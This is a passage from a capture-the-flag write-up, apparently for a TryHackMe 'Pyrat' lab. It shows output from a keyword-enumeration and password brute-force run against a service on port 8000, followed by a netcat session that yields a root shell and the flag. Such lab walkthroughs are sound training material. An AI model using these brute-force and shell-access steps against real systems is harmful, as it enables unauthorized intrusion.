[*] Enumerating keywords against pyrat.thm:8000[*] Wordlist : /usr/share/wordlists/seclists/Usernames/Names/names.txt[*] Threads : 50 | Timeout: 2s
[*] Loaded 10,177 keywords to try...
[*] Progress: 60/10,177 - Current: adina[+] Password prompt found for keyword: 'admin'
[*] Pausing enumeration - brute-forcing password for keyword 'admin'...[*] Wordlist : /usr/share/wordlists/fasttrack.txt[*] Threads : 50 | Timeout: 2s
[*] Loaded 261 passwords to try...
[*] Progress: 240/261 - Current: baseball[!] Password found: 'abc123' Response: 'Welcome Admin!!! Type "shell" to begin'
[*] Progress: 260/261 - Current: basketball[!] Success! Keyword: 'admin' | Password: '{REDACTED}'
[*] Resuming keyword enumeration...
[*] Progress: 8,660/10,177 - Current: shelba[+] Interesting keyword: 'shell' Response: '$'
[*] Progress: 10,170/10,177 - Current: zylen
============================================================[*] Enumeration complete. 2 interesting keyword(s) found:
Keyword : admin Response : 'Password:'
Keyword : shell Response : '$'
============================================================So now we have found the keyword admin and the password to go with it.
Using this combination we are able to drop into a root shell and obtain the flag:
➜ ~ nc pyrat.thm 8000adminPassword:{REDACTED}Welcome Admin!!! Type "shell" to beginshell# ididuid=0(root) gid=0(root) groups=0(root)# lslspyrat.py root.txt snap# cat root.txtcat root.txtba{REDACTED}221#